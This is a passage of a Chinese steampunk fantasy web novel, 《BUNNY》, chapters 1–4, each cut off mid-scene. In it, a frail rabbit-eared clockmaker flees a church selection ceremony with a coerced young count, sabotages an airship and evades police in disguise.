《BUNNY》 1. 长耳兔子001 《BUNNY》全本免费阅读 怪物的气息喷到耳侧的时候,雪茸平静的表情终于出现了一丝波纹。 他回过头,看向那双丑陋的兽瞳,伸出手指,略有些嫌弃地挑起那怪物的下巴,用很轻的力道将它向后推了推。 “收敛一下。”雪茸微微弯起眼睛,近乎透明的眸子盯上它的獠牙,“口水都要滴到我衣服上了。” 怪物的兽瞳骤地缩成一条细线,竟微微低下头,下意识后退了一步,刚才那凌人的杀气都被打断了。 一旁巡视的牧师听到动静,看向雪茸,严肃地警告道:“请对神职人员保持敬重。” 雪茸又抬眼看了看面前这犬面人身、全身被毛的“神职人员”,忍不住嗤笑出声,轻轻扬了扬眉,朝它做了个颇有些敷衍的致歉礼。 怪物一步三回头地被牧师牵走,粗鲁的喉结上下滚动着,似乎还在回味刚才被手指挑起下巴的触感。 雪茸没再看他,低头拿出手帕,擦了很久手指,才有些不耐烦地抬起头——啧。 教堂的正中央,铺满鲜花的横幅上写着“热烈庆祝新历·蒸汽20年度神耀日”,而正厅内,约克郡上的全部公民熙熙攘攘欢聚一堂。人群之中,不断有牧师向人群中泼洒着“圣水”—— “愿神明的福音照耀你们,愿你们成为下一个被神明选中的人……” 看到快要泼到脸上的不明液体,雪茸嫌弃地后撤一步,而一旁的人则疯了般挤上前去,张开双臂去迎接牧师洒来的水,祈求得到神明的青睐。 “呜哇——”随着一声婴儿的啼哭,周围的人纷纷扭头,雪茸也回头看去。 “对不起、对不起……”抱着婴儿的母亲紧张地把孩子搂在怀中,“我孩子身体不太好,一不舒服就爱哭……” 仔细看,母亲怀中的婴儿面色蜡黄,身形也十分消瘦,一眼看上去就不太健康。 一旁的牧师听到动静,便牵着猎犬来到她的身边,猎犬在婴儿身边绕了两圈,“汪”地叫了一声,坐在了女人的身边。 收到了猎犬的信号,牧师便在胸前划了个十字,拿起手中的花环,戴在了婴儿的脑袋上:“不用担心,这位伟大的母亲。神圣的机械之心选中了您的孩子,自此,一切疾病、贫穷、痛苦都将远离他,他将在神明的庇佑中长大……” 女人眼睁睁看着牧师伸手抱住了自己的孩子,难以置信道:“可他还这么小……没有能力为神明做些什么……” 牧师慈爱地抚摸起孩子的额头,劝慰道:“无碍,神明自有慧眼。” 恍惚过后,女人便开始忍不住地流泪:“感谢伟大的机械之心……感谢神明……” 一旁,雪茸看着牧师手中还没断奶的婴儿,又看了看四下里被猎犬堵死的大门,颇有些不耐烦地低头看了眼怀表。 此时,在他身后,好几个人被猎犬亲手戴上了鲜花制成的头环—— 牧师:“恭喜您,花环代表着神明的选择,也是神明送您的一份小礼物。” “老天!我被选上了!!”那个左臂缺失的男人喜极而泣,“我这样的人也能选上吗??伟大的机械之心啊,您真是最伟大、最包容的神明……” 但很快,男人又为难道:“可我去了‘机械之心’之后就再也回不来了,我的妻子和孩子可怎么办?” 路人A:“这有什么好担心的?你都是成了‘神选之子’了,家人会享受教会的优待,哪还有你操心的份?” 路人B:“就是啊!你可得了吧,胳膊这个鬼样子,连个工作都找不到,你老婆孩子平时也指望不上你啊。还不流离失所去机械之心上发光发热,专心把神邸维护好……” 路人C:“所以机械之心选人到底是个什么标准啊?为什么这种人都能选上,我连着来了七年都选不中啊!” 听着四周的人叽叽喳喳,雪茸有些烦躁地皱起眉——人太多了,闷得他胸口都有些难受了。 “咳咳……”他伸手轻轻拍了拍心口,又忍不住一阵闷咳,不适感没有褪去。 他抬起胳膊,用手杖拨开人群,找了个相对空旷角落坐下。 因为刚才在人群中穿行,雪茸的心跳更加剧烈了,他下意识想去摸口袋里的药盒,想了想,还是收回手。 他抬起头,想找点事情转移注意力,正好看见一位头戴花环、衣着讲究的卷发少年,面色相当难看。 雪茸上下打量了他一番,思忖了片刻,很快,他面上的轻蔑、嘲弄、冷漠、不耐烦统统都被收起来,无缝切换成了一副温和的笑意: “先生,您怎么了?身体不舒服吗?” 被搭话的这位少年名叫莱安·德文。此时,他正承受着他17年人生中最惨烈的紧张和恐惧。 那声轻柔的询问在耳侧响起,莱安一个震颤,差点被吓晕过去。 但当他痛苦地捂住心脏,回过头看过去时,紧张到快冻僵的表情慢慢解开了—— 跟他搭话的是个身形单薄修长的年轻人。这人的长相和他的声音一样温柔,发色是比西洋人更浅的浅金,肤色在白种人群中都显得白皙无比,瞳孔的颜色淡到近乎透明,就连眼角下的泪痣,都是色素不足般的赤红。 好漂亮、好温柔的人。就像是雪地里的一抹阳光,让人心尖儿都融化开来。 莱安生生愣住了,看着那精致又真诚的双眸,差点没忍住脸红起来。直到那人微微皱起眉,拿手帕轻轻捂住嘴,低头小声咳了两声,他才想起那人问自己的话。 “不……不是……啊……也算是吧……”莱安哭丧着脸颤抖道,“我……我恐高……非常严重……去机械之心……我会死的……” 说完,他下意识抬起头看向窗外的天空,面色更加苍白。 目光所及之处,一颗身形巨大、结构精密的金属心脏,正悬浮在大陆正中央,大量的蒸汽从顶部喷出,黄铜齿轮缓缓转动,显得厚重而又神秘。 那便是他提到的“机械之心”。 机械之心于二十年前降临大陆,借助众人无法解释的神秘力量,风雨无阻地悬浮在万米高空之上,在整个韦斯特大陆的正中央岿然不动。 它的到来,带来了前所未有的蒸汽科技和源源不断的动力能源,直接带领大陆领开启了一个全新的时代,是所有人感恩戴德的神明。 今天,在这个万众瞩目的‘神耀日’上,得到花环、被神明选中的“神选之子”,将会集中乘坐蒸汽飞艇,前往“机械之心”,从事这座天空神邸的修缮、维护和日常供奉工作。这是整个世界上最接近“神明”的工作,对于百姓来说更是至高无上的绝对荣誉。 莱安便被这巨大的荣誉砸中了。 一切都好,可惜莱安是个无可救药的恐高患者——机械之心所在的高度,想要送走一个他都绰绰有余,更别说还要上去什么从事日常工作了。 对于这份怯懦,莱安有些羞于启齿,但面前这个青年却没有半点嘲弄,反而靠近他,轻轻地握住了他的手,小声说:“你不想去的吧?毕竟是那么高的地方,万一出了事故怎么办?” 莱安愣愣地看了一眼他握着自己的手,满脸苍白地“嗯”了一声,直到过了好几秒,才骤然反应过来,惊恐道:“啊不是!我不是这个意思!” 在这片教会统治的大陆上,光明正大地抵抗“神的旨意”,绝对是相当重的罪。刚才自己的“嗯”要是被其他人听了去,怕不是小命都要难保了。 前座只有一只胳膊的豹子兽人好像回了头,也不知是不是听见了什么,见此情形,莱安本就摇摇欲坠的情绪又一次遭遇强震——完蛋了!自己要被制裁了!! 但面前这青年的表情却依旧平静如初,甚至还安慰似的拍了拍他的手:“没事的,只有我听见了,不要担心。” 他好温柔,他真好。莱安的情绪一下子被安抚下来,眼泪差点夺眶而出。 青年弯弯眼睛,牵起他的手,将他带离家人的视野,好看的眸子盯着他:“我叫雪茸·怀特,是个钟表匠,你呢?” 莱安直起身子:“我是莱安·德文,我……暂时还在念书。” 莱安的父亲是埃尔维·德文公爵,是大陆10位公爵中,唯一一个没有皇室血脉的新贵族。莱安作为公爵家的小儿子,自出生起就被册封为伯爵,是在祝福声中长大的孩子。 雪茸闻言,低声咳嗽了两声,朝他行礼:“原来是德文伯爵,失礼了。” 见雪茸朝自己行礼,莱安也回礼致意:“嗯……没关系。叫我莱安就好。” 这位贵族出身的小伯爵没有多少架子,为人更是单纯没心眼,大概又是对雪茸没来由地信任,没聊两句,便把自己的情况兜了个底朝天—— 他天生患有严重的恐高症,连骑马都会直接昏死过去,为此,母亲甚至还请了当地有名的巫师为他驱邪,但也没有任何作用。但除此之外,他的身体素质相当不错,击剑、格斗都有涉猎。 听到这里,雪茸轻轻咳了两声,然后认可似的点点头:“恐高的事情不能怪你,但是你会这么多,是真的很厉害。” 莱安看着他清澈的双眼,一股自豪感油然而生。 此时,海潮一般的欢呼声传来,讲经台上,走来一位身着长袍的主教。 他目光清冷、腰背挺直、手中拿着经书,似乎走到哪里,哪里就掀起一阵肃穆的冷风来。莱安忍不住打了个寒颤,刚被压制住的恐惧感,再一次将他淹没了。 “咳咳……”身侧传来一声压抑的咳嗽,莱安偏过头,发现雪茸的状态并不好。 他双眉紧蹙,面色惨白如纸,嘴唇却一片病态的殷红。他一手捂着心口,一手拄着手杖,本来断断续续的咳嗽变得猛烈起来。 此时,过道两侧,猎犬在人群中走来走去,似乎在嗅着什么。 它们面部呈兽状,看起来丑陋异常,浑身布满了动物毛发,身后则拖着长长的尾巴,时不时在信徒的头顶放上花环。 “神明自有慧眼,一切阴暗、狡猾、不忠,都将无处遁形……” 主教的声音在头顶盘旋,走廊上,路过的猎犬阴恻恻地盯了过来。 莱安下意识地浑身一紧,但很快他便发现,猎犬盯着的不是自己,而是自己身边的雪茸。 此时的他神情依旧十分冷静,但是苍白的面色和额头上的细汗,暴露了他糟糕的状态。 不知什么时候,这人已经将衣领拉高,只露出一双眼睛,加上灯光昏暗,根本看不清他的长相和发色。莱安眼睁睁看着他伸出手指,似乎想要从口袋里拿出什么,结果只是指尖微微移动,方才经过的猎犬就“唰”地扭过头来。 下一秒,猎犬直接逼到了面前,狰狞的兽面几乎要贴到他的脸上。 那一瞬间,台上的主教冷漠地朝他看过来,有那么一瞬间,置身事外的莱安都觉得自己快要被洞穿了。 但出乎他意料的是,面对猎犬的骤然逼近,雪茸面上却看不出一丝恐惧。他紧握着手杖,沉默而淡然地无视了来自四面八方的窥视。 他的从容很有欺诈性,身旁的那只猎犬没能发现破绽,终于转身离开。 但偏偏这时,一股血腥味翻腾上来—— “咳咳……!!” 雪茸终于达到了极限,爆发出一阵剧烈的咳嗽,他第一时间用手捂住口鼻,却根本挡不住血液从指缝中溢出。 一声惊呼,身边的人不约而同地退让开来,而分散在教堂内各个角落的猎犬们,却宛如嗅到猎物的气味一般,朝他涌来。 “你还好吗?怀特先生?”莱安慌忙扶过来,“需要我的帮助吗?” 雪茸一边颤抖着拿出真丝手帕擦拭血渍,一边刻意挡着脸,竭力保持着冷静:“给我……帽子……” “帽子?”莱安慌张道,“抱、抱歉……进教堂是不能戴帽子的……” 这个关头……为什么要帽子? 雪茸摇了摇头,虚弱地喘息着,他的皮肤本就比别人苍白,缀上这么殷红之后,就显得更加病态而凄惨。 雪茸狠狠趔趄了一下,莱安刚想伸手去扶,就看他一把推开了面前的人群,头也不回地躲进教堂的角落。 面前的人群便自动散开。雪茸慢慢靠着墙角滑坐下来,从大衣口袋里拿出那个机械药盒。 主教依旧在台上居高临下地盯着他。他朝猎犬扬了扬下巴,那一群狰狞的怪兽便拖着铁链,一步步逼近墙角的雪茸。 此时,猎犬脚上的铁链声已经逼到了耳畔,野兽特有的腥味弥散开来。 人群之外,莱安的心脏都替他提到了嗓子眼,但雪茸却没有轻举妄动,也没有去和猎犬周旋,只是一边调整呼吸,一边快速扫视着教堂的结构和环境。 这座教堂本身采光就做得很差,加上今天外面阴云密布,大白天就已经不得不亮起机械煤油铜灯照明了。 都在计划之中。 雪茸垂下眸子,快速用指尖拨动盒子边缘的旋钮,随着盒子表面的齿轮转动,一颗药丸落在他的手心里,却因为手的剧烈颤抖滚落在了地上。 雪茸咬了咬牙,重新倒出一颗来。 含服片刻后,他的呼吸平稳下来,面上也终于有了些许血色。一旁的莱安看着他转好的脸色,刚替他松了口气,下一秒,这人便突然一阵趔 2. 长耳兔子002 《BUNNY》全本免费阅读 这三个选择对于莱安来说,就是“被吓死”、“立刻马上死”和“先等等可能迟会才死”。 他没敢有半点犹豫,立刻含泪举手,颤巍巍比了个三。 雪茸料到他会做出这个选择,没多说半句话,拿出一个铜质印花喷瓶,朝他和自己身上喷了喷——这是暂时掩藏气味用的香水,为了这一趟,他真是做足了准备。 确认莱安已经腌入味后,雪茸伸手推了他一把,手里的枪也没收回来的意思:“往前走,解决对面那两只就从后门离开,我对杀人没兴趣,带我出去你就自由了。” 枪口抵着对方脑袋说这种话,完全没有半点说服力,但莱安的小命结结实实握在对方手里,除了硬着头皮朝前走,根本没有别的选择。 真迈出这一步,莱安才看透了自己的心——他宁可被全世界屈辱地追杀,也不想被架上飞艇光荣地送走。 比起说一不二、强迫自己上船的神明,这位疯兔子先生至少还给自己选择的机会,这么一想,那人温柔和善的脸似乎又变得合理起来。 他真是个好人啊——莱安把自己哄得明明白白。 终于做好了心理建设,莱安深吸一口气,加快步子来到走廊尽头,正当他因为手心空空如也、没有武器而紧张冒汗时,一个冰冰凉凉的东西忽然递了过来。 他低头一看,差点儿被吓得心脏骤停——雪茸不知什么时候把讲经台上的铜像掰了下来,断面还非常的粗糙,显然这家伙掰的时候随意又粗鲁。 机械之神的铜像是信徒们最重要的精神寄托,多少人把它看得比自己的小命还金贵,现在就这么缺胳膊短腿地躺在自己手里,简直是送上了一张死刑通知书。莱安吞了口口水,不确定自己真的能活着走出这座教堂了。 雪茸却依旧慷慨地把这具“神明尸体”往他手里塞:“这个当武器应该不错,你试试。” 颈后的针筒让他没办法拒绝,莱安只能劝自己握住了铜像——嗯,细细长长的,倒也确实挺称手。 两个人潜行在狭长阴暗的走廊里,莱安看着雪茸纤长瘦弱的影子,有那么一瞬间在想——这家伙看起来体格就很差的样子,一个人逃不出去还得向自己求助,那么单打独斗必然不可能是自己的对手。 就在他斜着眼准备打量身旁这家伙的时候,雪茸似乎洞察到了他的表情,露出一个不咸不淡的笑意:“你当然可以杀了我,但是铜像上面只有你的气味,你猜,到时候猎犬会追杀谁?” 经他这么一提醒,莱安才发现这人全程都戴了手套,而自己在握住铜像的那一刻,就已经被他丢进水里了。 他顿时欲哭无泪——要不是确实看见这人头上长了兔耳朵,他可能会以为这人是个狐狸投胎的。 莱安心里刚要恨他,这家伙就又开始演起来,开口便是一副真诚的无辜:“抱歉,我是真的以为你不想上去,毕竟坐飞艇实在是太危险了。” 他语气太真诚了,一下子让莱安忘记了他刚才的恶行,甚至还产生了强烈的愧疚感——上帝啊,这位无辜的兔子先生做错了什么?他不过是把我从万米高空的地狱拯救出来了而已! 就在他修正思想的工夫,走廊尽头来回巡视的猎犬忽然嗅到了什么一般,停下步子,摸着黑朝这边慢慢走去。 两个人屏住呼吸藏到房间门后——落单是最好的时机,但身后的火力离得并不远,所以这也是他们的唯一一次机会。 看着慢慢朝附近逼近的猎犬,雪茸低声问:“一口气搞得定吗?” 他本以为自己的要求高得有些过分,没想到这少年居然活动了一下肩膀,点头道:“可以。” 还没等他反应过来的功夫,莱安就一个箭步迈出房间,几乎是眨眼间就迅速从身后锁住了猎犬的喉。 莱安的个子很高,但是半兽态的猎犬个头将近两米,在几乎压制性的体格差距下,这人居然真的一个锁喉,就生生用一个过肩摔将这巨兽扳倒了。 “轰”的一声闷响,猎犬在毫无防备的情况下被直接抡倒在地,趁这家伙还在迷糊,莱安抡起手里的铜像打算凿他的脑袋,但砸下去的前一秒,他犹豫起来,还是把铜像安稳地放在一旁,狠狠一记手刀劈上这怪物的颈侧。 猎犬还没来得及反抗,就“嗷呜”一声,吐着舌头昏了过去——甚至没闹出半点儿动静来。 看着这上一秒还眼泪汪汪的小孩儿,下一秒就一招放倒两米高的猎犬,雪茸有一瞬间也噎住了——还好这孩子性子软还好骗,不然被一拳抡趴下的,大概就是他自己了…… 莱安小心翼翼把狗头平放在地板上,确认了几遍才吞吞吐吐道:“哥……我……不敢杀生……弄晕行吗?” 听到对方喊自己哥,雪茸立刻把镇静重拾回脸上,一副处变不惊的模样:“行,做得不错。” 莱安得到了夸奖,立刻充满了干劲。他比雪茸想象中更好哄,也比他想象中更强悍,简直是最理想的利用对象。 雪茸一边打着算盘,一边紧紧跟在莱安后面。他心脏不好,还有着羸弱的兔子血统,打架动手自然是他最不擅长的事情——但无所谓,有人能替他打,一切就都不是问题。 因为刚才雪茸闹出来的动静,整个教堂内的猎犬全部出动了。身后的大厅内,野兽的气息愈发浓烈,叫雪茸闻得一阵恶心,头顶上的白耳朵一阵阵的发麻发热,让他忍不住伸手揉了揉。 此时的路已经退无可退,而面前唯一的出口处,两只高大的猎犬似乎也听到了动静,慢慢朝他们的方向逼近。 隔着两三步的距离,雪茸都能听见莱安越发剧烈紧张的心跳声。 他忍不住笑起来,轻声问:“紧张?” 莱安紧绷的身子猛地一颤,这才支支吾吾来了一句:“两个……我怕对付不来……” “怕什么?”雪茸轻轻抬起刚刚开过火的手杖,抵上他的后背,“还有枪呢。” 莱安背后一凉,连忙加快步子,远离这把能杀人的火器。 在行动的前一秒,雪茸快速部署:“你左我右,结束了直接离开。没地方去的话,十点之前,到威尔斯街48号的钟表铺找我。” 还没等莱安做出什么反应,雪茸就大步流星直接迈了过去,他赶紧跟上前。 两个人迈开步子的一瞬间,横在面前的两只猎犬同时倏地回过头来,尽管莱安做好了心理准备,但直面那张凶残的毛脸时,他还是差点表演了一个原地去世。 猎犬的背后是通亮的出口,背过身去的一瞬间,回头看着漆黑一片的走廊,这蛮兽的视力尚没有完全反应过来。 高度紧张的莱安无心顾 3. 长耳兔子003 《BUNNY》全本免费阅读 莱安大抵是被彻底吓懵了,站在岔路口,直盯着雪茸半天没反应过来:“什……什么?” 毕竟帮了自己不少忙,雪茸对他还算有耐心,一字一句对莱安解释道:“我是说,我现在要去干坏事了,不想被卷进来的话就快走。” 目送走了仓皇离开的莱安,雪茸抬起头,认真望着眼前这艘巨大到足以装下教堂内的全部信徒的飞艇——与其说是逃亡的路上顺道来干坏事,不如说,这才是雪茸来到这里的唯一目的。 这艘飞艇里,有他想要的东西。 雪茸抬起头,遥遥看着面前这庞然大物。 眼前的飞艇显然是经过了岁月的洗礼,浑身都已经刻满了沧桑的痕迹。那原本五彩斑斓的飞艇气球,已经褪色成了暗沉的灰白,金属制的铰链环和螺桨叶爬满了锈斑,木制的船身看起来也很久没有粉刷过了…… 看来莱安的担心不无道理,这么个苟延残喘的老贵族飞上天,真没人能保证不出意外。 雪茸耸耸肩,单手插进口袋,抬头看了一眼头顶上的兔耳朵,也没做什么遮挡,就这么招摇过市地径直走向了舱门。 到底是牵扯到整个郡的大事,飞艇的舱门前戒备森严,戴着教会标志的铁骑士铮铮地站在门前,一副整装待发的严肃模样。 雪茸理了理衣领,非常自然地走上前去。 两位骑士早就注意到了他,离得老远就盯着他头顶两只白花花的兔耳朵,直到他走到跟前,才回过神来,公事公办道:“什么人?!” “检修飞艇的工程师,起飞之前需要做最后一次检查。”雪茸斯文地笑笑,从口袋里拿出一枚小小的徽章,“这是我的证件。” 两位骑士赶紧凑上前,下意识屏住了呼吸。 这枚徽章应当是纯金打造的,质地光泽看起来就很不普通,正面印着专属于皇室的皇冠印花,反面则用花体字简洁明了地指出主人的身份——“皇家机械工程师”。 现在这个时代,机械师可以满地跑,但是戴着“皇家”头衔的人可谓少之又少。这不仅意味着机械师本人有着顶尖的专业技术,还说明对方是皇室登记在册的御用机械师,是个无论身份还是能力都高高在上的上等人。 再看眼前这位兔耳先生,虽然穿着简洁普通,但不管是言谈举止还是自身气质,都带着一丝与生俱来的矜傲。 两位骑士慌忙让道行礼,雪茸轻点下巴,毫不客气地接下了这份大礼,目光从容地走了进去。 这座飞艇采用的是课本上最经典的传统结构,上方是飞艇气球,主体是上中下三层的船身。他不紧不慢地在船舱内转了一圈——因为转移行动尚未开始,除了门口的两位骑士之外,船舱内空无一人。 他缓缓迈着步子,硬质的马丁靴鞋跟在木地板上发出“哒哒”的轻响,从主厅到观光台,从驾驶舱到控制室,他兴致盎然地参观完毕后,终于悠哉悠哉来到了地下一层的锅炉房。 锅炉房是整个飞艇的动力核心,自然是层层加锁,这大概也是骑士们如此放心让雪茸自行进入的原因——在眼前这样极其复杂的机械锁防御下,没有钥匙的人,是几乎不可能进入核心地带的。 静谧的走廊内,齿轮结构的锁发出“咔哒咔哒”的轻响,雪茸只是大略看了几眼,就从皮质腰带上拿出一把外形精致的铜钥匙。但他没有将钥匙插入锁孔,只是轻轻旋拧起钥匙柄,钥匙的前端便伸出一根细长的铁丝来——扒手通用款。 高端的锁具,往往只需要最简单的破解方式。 雪茸拿起铁丝捅进锁芯,兔子耳朵贴近门,另一只手则小心地拨动着连接处的齿轮,没费多少工夫,就听见“咔”的一声,这看起来复杂又唬人的大锁就应声打开了。 比想象中还要废物。雪茸轻笑一声,慢条斯理把铁丝收好,才推开这扇大门。 推开门的一瞬间,轰隆隆的声响便涌了出来,映入眼帘的是一架巨大的锅炉,此时正一个劲儿地燃烧着,炉膛内冒着浅紫色的火星,炉壁也被烧得通红。 紫色的火?雪茸感觉脑袋一嗡——他确定自己的记忆中没有出现过这样的火焰,但看见那跃动的火星,雪茸总有一种说不上来的熟悉感。 那熟悉感就像是一缕薄烟,伸手去抓它的那一瞬间,便从指缝中消逝不见了。 雪茸摇了摇头,将那些摸不透的杂念丢到一边,继续观察眼前的炉子。 此时,炉口和管道的连接处都有序地冒着蒸汽,显然已经为这场飞行做好了准备。雪茸饶有兴致地打量着它的结构,眼里久违地露出一丝欣赏与好奇。 从很久以前,雪茸就一直对蒸汽飞艇的动力原理非常好奇。他特意计算过,如果飞艇和传统的蒸汽机一样,采用煤炭作为主要燃料,哪怕供热系统的凝水回收率再低,产生的热能也不可能带动如此精密庞大的设备升天。 此时,再看那锅炉那诡异的紫色火焰,雪茸了然地笑起来。他的猜测没错,蒸汽飞艇的燃料根本不是煤,也不可能是煤,而是一种能产生更大能量的特殊能源。 天知道,他找这样的东西找了多久。 他蹲下身,用墙边靠着的铁钳轻轻拨开燃料仓的门,接触到氧气的一瞬间,炉子里的紫色火焰腾地跃起。 雪茸稍稍向后让了让,皱起了眉——和他想象中的不一样,燃料仓里并没有放置任何固体燃料,只有隐约可见的紫色气体,可锅炉边并没有任何注入气体燃料的管道,看起来更像是投放高浓度固体燃料后气化的结果…… 那燃料呢?雪茸起身在锅炉室内找了一番,没有发现燃料堆或是可以存放的地方,而那些锅炉里的气体,他也没办法拿去研究。 见什么也带不走,他遗憾地抬了抬眉,接着很快就去执行他计划中“做坏事”的那一部分了。 他转过身,用小铁丝三两下破解了锅炉上的安全锁,又拧上了几个管道的阀门,最后还贴心地给锅炉松了几根螺丝钉…… 身后原本勤勤恳恳干活的锅炉,骤然发出一声异常的怪响,正当雪茸心满意足地拍拍手,准备收工走人时,长长的兔耳又灵敏地动了动。 下一秒,金属手杖在腕间画了个圈,随着“咔咔”两声,手杖前盖弹开,燧发枪的枪口直指向锅炉后的墙角。 “去哪儿?”雪茸懒懒开口,语气却让听者冰冻三尺、不寒而栗。 “叽!”一声惊恐的惨叫,一只圆滚滚毛乎乎的小东西被吓得全身炸毛,举起小爪子直立起来,摆出投降的姿势。 这是一只异常肥美的仓鼠,身上还穿了一件规规矩矩的背带工装,看样子和教堂里的蜥蜴人差不多,是飞艇上的专职锅炉工。 这算是意外之喜,雪茸弯弯眼睛,一脸和善地拿枪口对准它的肚皮:“拿出来。” “叽QAQ!”小仓鼠颤颤巍巍,从肚皮前的大口袋里摸了半天,掏出一粒啃了一半的瓜子。 雪茸的脸阴了下来,身后的锅炉发出了尖锐的嚎叫。 “嘤qwq”小仓鼠噙着眼泪,又摸出了一个干瘪瘪的小果核,雪茸的表情从阴冷变成了嫌弃。 见这小家伙还打算嘴硬到底,而一旁的锅炉已经蓄势待发,雪茸啧了一声,收起枪口,一把捞起了仓鼠肥嘟嘟的身子。 小家伙绝望地飞起小手,雪茸一边快步离开锅炉房,一边冷声道:“一会慢慢收拾你。” 走到门前时,这小家伙已经被他塞进了口袋里,结实的牛角扣将它牢牢封印其中。 此时,教堂内的信徒已经准备登船,刚才那一出闹剧并没有浇灭大家的热情,主教的一声令下,人群高亢沸腾地涌上了广场。 信徒登船前,真正的技术检修员需要象征性地检查一下飞艇的安全问题,毕竟早就经过了无数次飞行,只要没有人动手脚,是几乎不会出什么意外的。 当检修员先生松松垮垮走上甲板时,门口两位骑士的脸色骤地变得难看起来。 他们窃窃私语了一阵,又反复检查了检修员的证件,这才发现好像大事不妙。 检修员先生铁青着脸跑进锅炉房的时候,抢修已经来不及了。整个房间被满溢出的水蒸气煮了个稀烂,管道和零件七零八落地散在一边,锅炉则高声尖叫着,状态岌岌可危。 整个房间唯一完好的,是炉壁上贴着的一张纸条,上面用潦草的字迹写着:“ 4. 长耳兔子004 《BUNNY》全本免费阅读 看见这位娴静优雅的少女,警长的戒心少了大半,只简单在屋里看了一圈,又上阁楼转了转,再回来,说话声都变得柔和起来:“抱歉小姐,这是必要的例行公事。” 一旁的年轻警员红着脸,抢过话茬,一边说,一边想牵起雪茸做吻手礼:“美丽的小姐,请原谅我们老大的粗鲁,他没读过书,永远不会怜香惜玉……” 在他牵过雪茸手的前一秒,警长直接“嘭”地一声朝警员头上来了一巴掌。 看着龇牙咧嘴的小年轻和暴怒的警员,雪茸不为所动,面色依旧是疏离和清冷,像是根本没听到任何动静。 管家见状挑起眉,懒懒开口道:“不好意思,她又聋又哑。” 再多问两句,怕不是眼睛都要瞎了。 看着雪茸脸上油盐不进的冷漠,警督们脸上的愧疚更浓烈了——上帝啊,看看这位悲惨可怜的姑娘!我们刚才都对她做了什么! 尽管如此,警官还是非常尽职尽责地询问道:“我听说,这间商铺平时没有人,今天怎么突然回来了?” 梅尔挑起眼皮,颇有些不耐烦:“我们自己的店铺,回来还要报备么?” 说得有道理,警督有些不服地沉默,又伸手检查他们的证件—— 能在逃亡前就想到准备假发裙子的人,自然不会在这种环节出现纰漏。 证件上的名字叫艾琳·坎贝尔,看姓氏,应当是大陆著名珠宝世家的大小姐。 小警员看着证件上尊贵的镶花纹路,低头嘀咕了一句:“坎贝尔家还有个女儿?第一次听说啊。” 管家也不多解释,只是抬起眼皮,没头没尾道:“她是天生聋哑。” 天生聋哑所以自卑不爱见人,好面子的坎贝尔家族也自然不会愿意让她出面、甚至不愿别人知道家中有这样一号人的存在。这么简单浅显的道理,居然得让人点破才能想明白,可真是该死啊!小警员恨不得给刚刚的自己一个大嘴巴子。 临走前,警长还是象征性地让猎犬闻了闻。那大家伙试图靠近的时候,像是闻到了什么,“阿嚏”一下打了个喷嚏。雪茸本就厌恶猎犬,借此机会毫不掩饰地皱起眉,提着裙摆向后退了一步。 警长见状,又一巴掌甩到狗脑袋上,呵斥道:“没礼貌!” 猎犬不知道自己做错了什么,嗷呜一声,委屈巴巴地夹着尾巴缩了回去。 临走前,警长给梅尔递上了一张羊皮纸卡片,上面写着“已搜查,无异常”,还盖了警署的公章。 “下次其他人来搜查的时候,给他们看这个就可以了。”小警员争着表现道说,“可以少给你们添麻烦,也节省了搜查的时间。” 接到这张卡片,“艾琳小姐”冰封的脸终于融化,提起裙边朝警员行了个礼,露出一个甜甜的笑容来。 小警员的脸立刻红到了脖子根。 这一场气势汹汹的抓捕,抓到真正的嫌疑人面前,就这样结束了。 莱安小心翼翼地目送警督,看着小警员一步三回头地望着雪茸,又看着老警长一步一巴掌地甩向他的脑袋,直到确认彻底安全,他才真正松了口气。 还没放松几秒,就听那“聋哑大小姐”平静地开口道:“出来吧。” 莱安被他喊得汗毛竖立,也不知在心虚什么,心脏狂跳地从巷子探出身来。 一回头,雪茸已经没了身影,那高个子的猫耳管家,琥珀色的眼睛晲着他,让莱安一阵背后发毛。 这人举手投足都完全是一只猫的样子,懒散的同时却又极度敏锐,举手投足间带着几分傲气和阴沉。 “梅尔。”铺子里传来雪茸的声音,“让他进来。” 管家这才瞥了莱安一眼,给他让了路。 这间铺子乍看起来,就是一间平平无奇的钟表店,一张桌子,两把椅子,墙壁上是各种奇形怪状的机械钟表,那间阁楼看起来也没什么异常。 但雪茸只是合上门,轻轻拨动门口座钟的指针,整个房间的墙面忽然轰隆隆移动起来,一面暗墙便展现在他们的面前。 莱安倒抽了一口冷气——这面墙上挂满了叫人头皮发麻的武器,火铳、燧发枪、匕首、十字弓、短剑……除此之外,还有很多他没见过、带着浓烈东方色彩的器件。 空气中飘散着一股淡淡的黄铜味,这冰冷的压迫感,一下子让莱安联想到了戒备森严的军械库,他意识到自己看了不该看的,赶紧收回目光,丝毫不敢乱动。 视线实在无处安放,他就只能悄悄抬着眼,看面前还没来得及卸下装扮的雪茸。 不得不说,这人扮女孩子是真的……真的好看。莱安惭愧地垂下眼帘,完全能理解刚才那些警官的昏头。 似乎是感受到了莱安的视线,雪茸轻笑了一声,摘下帽子和假发,被压了许久的耳朵终于得到解放,轻轻抖了两下。 看起来好好摸……这个念头刚一冒出来,莱安就在心里捅了自己一刀。 雪茸摘下手套,一边轻轻揉着被压痛的耳朵,一边向管家介绍道:“梅尔,这位就是莱安·德文伯爵,刚刚在教堂帮了我,是我的救命恩人。” 接着他又看向莱安,口吻是让他心脏乱跳的温柔:“亲爱的,这位是梅尔,我的小猫咪。” 这人东一句“亲爱的”、西一句“小猫咪”,好像对谁都很亲昵似的,但细看他的目光,又没把任何人放在眼里。 同样的,梅尔也根本没正眼瞅自家主子,只懒悻悻打了个呵欠,就化成一只通体乌黑的猫,趴到一边闭目养神了。 这目中无人的冷淡,主仆俩倒真有些一脉相承的相似。 莱安此时没心思观察那么多,好不容易把凌乱的大脑捋清,才小心翼翼地问:“哥,那个飞艇……是你……?” 雪茸弯弯眸子:“是啊,有没有觉得轻松多了?” 又是假装替自己着想!莱安对这一招逐渐有了抗体,只是短暂地迷失了一下,便很快认清现实——虽然那大家伙炸成碎片、再也飞不上天的时候,他是真的感觉轻松很多,但是下一秒自己就被通缉了。 怕是这辈子都轻松不起来了。 莱安沉默了半天,还是忍不住问道:“哥……你为什么要这么做……?” 为什么不接受神的选择?为什么要反叛?为什么要炸飞艇? “我在教堂里也说了啊。”雪茸摊开手说,“我有自己的生活、有自己的工作,凭什么要接受一群莫名其妙的人,用莫名其妙的理由,把我的一切都带走了?” 莱安微微一愣,有些将信将疑:“哦……” 可现在沦落到逃犯的地步,不更是失去原有的一切了吗? 雪茸大约是猜到他在想什么,伸手拉开窗帘,让他看窗外的天空上,那骤然降临世间的钢铁心脏。 雪茸问:“看到了什么?” 莱安答:“机……机械之心……?” 雪茸问:“还有别的吗?” 莱安摇头:“……没了。” 